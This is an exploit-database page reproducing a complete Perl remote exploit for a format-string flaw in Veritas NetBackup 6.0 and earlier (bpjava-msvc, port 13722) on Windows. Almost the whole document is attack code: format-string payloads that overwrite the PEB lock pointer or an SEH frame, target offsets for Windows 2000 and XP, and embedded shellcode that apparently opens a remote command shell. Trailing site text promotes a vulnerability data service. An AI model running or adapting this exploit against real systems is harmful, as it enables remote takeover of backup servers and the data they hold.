Lucene search
K

Veritas NetBackup <= 6.0 (bpjava-msvc) Remote Exploit (win32)

🗓️ 20 Oct 2005 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Veritas NetBackup Remote Exploit for win3

Code

                                                #!C:\Perl\bin\perl.exe -w
#
# Vertias Netbackup Win32 format string exploit
# Code By: johnh[at]digitalmunition[dot]com & kf[at]digitalmunition[dot]com
#
# For win2k/xp pre sp2 we overwrote PEBFastlock -> rtlentercritical
# For win xp sp2 we overwrote SEH
# http://www.digitalmunition.com/
#
# You may have to run this 2 times. 

use IO::Socket;
use Getopt::Std; getopts('h:p:t:', \ our %args);

if (defined($args{'h'})) { $host   = $args{'h'}; }
if (defined($args{'p'})) { $port   = $args{'p'}; }else{$port = 13722;}
if (defined($args{'t'})) { $target = $args{'t'}; }


print "\n-=[Remote Veritas NetBackup Format String exploit]=-\n\n";
print "\n-=[TagTeam johnh[at]digitalmunition[dot]com and kf_lists[at]digitalmunition[dot]com]=-\n\n";

if(!defined($host)){
print "Usage:
        -h <host>
        -p port <default 13722>
        -t target:
            0 - Windows 2k/Windows XP SP0/SP1 - PEB
            1 - Windows XP SP2 - SEH\n\n";
exit(1);
}



my $sock = new IO::Socket::INET(PeerAddr => $host,PeerPort => $port,Proto    => 'tcp');
$sock or die "no socket :$!";

# 970 chars in length. 








my $shellcode = "\x90"x100;
$shellcode .=
	"\xeb\x42"	.
	"\x56".
	"\x57".	
	"\x8b\x45\x3c".	
	"\x8b\x54\x05\x78".	
	"\x01\xea"	.
	"\x52"	.
	"\x8b\x52\x20".	
	"\x01\xea".	
	"\x31\xc0".	
	"\x31\xc9".	
	"\x41"	.
	"\x8b\x34\x8a".	
	"\x01\xee".	
	"\x31\xff".	
	"\xc1\xcf\x13"	.
	"\xac"	.
	"\x01\xc7".	
	"\x85\xc0".	
	"\x75\xf6".	
	"\x39\xdf".	
	"\x75\xea".	
	"\x5a"	.
	"\x8b\x5a\x24"	.
	"\x01\xeb"	.
	"\x66\x8b\x0c\x4b".	
	"\x8b\x5a\x1c"	.
	"\x01\xeb"	.
	"\x8b\x04\x8b"	.
	"\x01\xe8"	.
	"\x5f"	.
	"\x5e"	.
	"\xc3"	.
	"\xfc"	.
	"\x31\xc0".	
	"\x64\x8b\x40\x30".	
	"\x8d\x78\x20"	.
	"\x8b\x40\x0c"	.
	"\x8b\x70\x1c"	.
	"\xad"	.
	"\x8b\x68\x08".	
	"\x89\xee".	
	"\x31\xc0".	
	"\x64\x8b\x40\x30".	
	"\x8b\x40\x0c"	.
	"\x8b\x40\x1c"	.
	"\x8b\x68\x08"	.
	"\xbb\x6f\x5b\x8b\x9c".	
	"\xe8\x8f\xff\xff\xff".	
	"\xab"	.
	"\xbb\xe1\x0f\xfe\xb7".	
	"\xe8\x84\xff\xff\xff".	
	"\xab"	.
	"\x89\xf5".	
	"\x31\xc0".	
	"\x66\xb8\x6c\x6c".	
	"\x50"	.
	"\x68\x33\x32\x2e\x64".	
	"\x68\x77\x73\x32\x5f".	
	"\x54"	.
	"\xbb\x71\xa7\xe8\xfe"	.
	"\xe8\x65\xff\xff\xff"	.
	"\xff\xd0"	.
	"\x89\xef"	.
	"\x89\xc5"	.
	"\x81\xc4\x70\xfe\xff\xff"	.
	"\x54"	.
	"\x31\xc0".	
	"\xfe\xc4".	
	"\x40"	.
	"\x50"	.
	"\xbb\x22\x7d\xab\x7d".	
	"\xe8\x48\xff\xff\xff".	
	"\xff\xd0"	.
	"\x31\xc0"	.
	"\x50"	.
	"\x50"	.
	"\x50"	.
	"\x50"	.
	"\x40"	.
	"\x50"	.
	"\x40"	.
	"\x50"	.
	"\xbb\xa6\x55\x34\x79".	
	"\xe8\x32\xff\xff\xff".	
	"\xff\xd0"	.
	"\x89\xc6"	.
	"\x31\xc0"	.
	"\x50"	.
	"\x50"	.
	"\x35\x02\x01\x70\xcc".	
	"\xfe\xcc"	.
	"\x50"	.
	"\x89\xe0".	
	"\x50"	.
	"\x6a\x10"	.
	"\x50"	.
	"\x56"	.
	"\xbb\x81\xb4\x2c\xbe"	.
	"\xe8\x11\xff\xff\xff"	.
	"\xff\xd0"	.
	"\x31\xc0"	.
	"\x50"	.
	"\x56"	.
	"\xbb\xd3\xfa\x58\x9b"	.
	"\xe8\x01\xff\xff\xff"	.
	"\xff\xd0"	.
	"\x58"	.
	"\x60"	.
	"\x6a\x10".	
	"\x54"	.
	"\x50"	.
	"\x56"	.
	"\xbb\x47\xf3\x56\xc6".	
	"\xe8\xee\xfe\xff\xff".	
	"\xff\xd0"	.
	"\x89\xc6"	.
	"\x31\xdb"	.
	"\x53"	.
	"\x68\x2e\x63\x6d\x64".	
	"\x89\xe1"	.
	"\x41"	.
	"\x31\xdb".	
	"\x56"	.
	"\x56"	.
	"\x56"	.
	"\x53"	.
	"\x53"	.
	"\x31\xc0".	
	"\xfe\xc4".	
	"\x40"	.
	"\x50"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x6a\x44".	
	"\x89\xe0".	
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x54"	.
	"\x50"	.
	"\x53"	.
	"\x53"	.
	"\x53"	.
	"\x43"	.
	"\x53"	.
	"\x4b"	.
	"\x53"	.
	"\x53"	.
	"\x51"	.
	"\x53"	.
	"\x87\xfd" .	
	"\xbb\x21\xd0\x05\xd0".	
	"\xe8\xa8\xfe\xff\xff".	
	"\xff\xd0"	.
	"\x5b"	.
	"\x31\xc0".	
	"\x48"	.
	"\x50"	.
	"\x53"	.
	"\xbb\x43\xcb\x8d\x5f".	
	"\xe8\x96\xfe\xff\xff".	
	"\xff\xd0"	.
	"\x56"	.
	"\x87\xef".	
	"\xbb\x12\x6b\x6d\xd0".	
	"\xe8\x87\xfe\xff\xff".	
	"\xff\xd0"	.
	"\x83\xc4\x5c"	.
	"\x61"	.
	"\xeb\x81";


#/*
#7FFDF250    54              PUSH ESP
#7FFDF251    5F              POP EDI
#7FFDF252    B8 90909090     MOV EAX,90909090
#7FFDF257    FD              STD 
#7FFDF258    F2:AF           REPNE SCAS DWORD PTR ES:[EDI]
#7FFDF25A    57              PUSH EDI
#7FFDF25B    C3              RETN
#
#and 
#
#over write FastPebLockRoutine pointer to EnterCriticalSection with our code address of 7FFDF250    
#
#7FFDF020    7FFDF250    
#
#*/

print "TARGET IS $target\n";
if ($target == 0) {
$c = 8;
@fmt_array = (

#WINDOWS 2K SP4/XP SP0-SP1
#OVERWRITE PEB FASTLOCKPOINTER -> RTLEnterCriticalSection
[ 0x7FFDF250, 0x7FFDF252, 0x7FFDF254, 0x7FFDF256, 0x7FFDF258, 0x7FFDF25A, 0x7FFDF022, 0x7FFDF020 ],
[ 0x5f54, 0x90b8, 0x9090, 0xfc90, 0xaff2, 0xc357, 0x7ffd, 0xf250 ],

);
}


if ($target == 1) {
$c = 10;
@fmt_array = (
#windows XP SP2
#OVERWRITE STATIC SEH FRAME

[ 0x7FFDF250, 0x7FFDF252, 0x7FFDF254, 0x7FFDF256, 0x7FFDF258, 0x7FFDF25A, 0x0012ffb0, 0x0012ffb2, 0x0012ffb6, 0x0012ffb4 ],
[ 0x5f54, 0x90b8, 0x9090, 0xfc90, 0xaff2, 0xc357, 0x9090,0x9090,0x7FFD, 0xF250 ],
);
}


my $offset = 0;
my $dump_fmt=6; #amount of %.8x needed to reach stackbase
my $payload; 
my $payload2;
my $hi; 
my $lo;  
my $last = 0;
my $flag = 2; 

my @shift;

for (my $y = 0; $y < $c; $y = $y + 2)
{

$payload = "%08x" x $dump_fmt;
$payload2 = pack('l', $fmt_array[0][$y]) . "AAAA" . pack('l', $fmt_array[0][$y+1]);

$hi = $fmt_array[1][$y] - 0x2a - 35;
$lo = $fmt_array[1][$y+1] - $hi - 77;

$payload .= "%$hi" . "x%hn%$lo" . "x%hn";

print $sock " 118      1\nSNO space filler\n";
print scalar <$sock>;
print scalar <$sock>;

print $sock " 101      6\n" .   
"$payload" . "\n" . # You must finish the line off with a line feed. 
"dummy space\n" . 
"$shellcode\n" . 
"$payload2" . "\n" . 
"spare bits\n" . 
"spare bits\n\n";


print scalar <$sock>;
print scalar <$sock>;

}


if ($target == 1)
{
#create exception so SEH is called
print $sock " 118      1\nSNO space filler\n";
print scalar <$sock>;
print scalar <$sock>;

print $sock " 101      6\n" .   
"%n" . "\n" . # You must finish the line off with a line feed. 
"dummy space\n" . 
"$shellcode\n" . 
"AAAAAAAAAAAA" . "\n" . 
"spare bits\n" . 
"spare bits\n\n";


print scalar <$sock>;
print scalar <$sock>;

}


close $sock;

# sebug.net

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation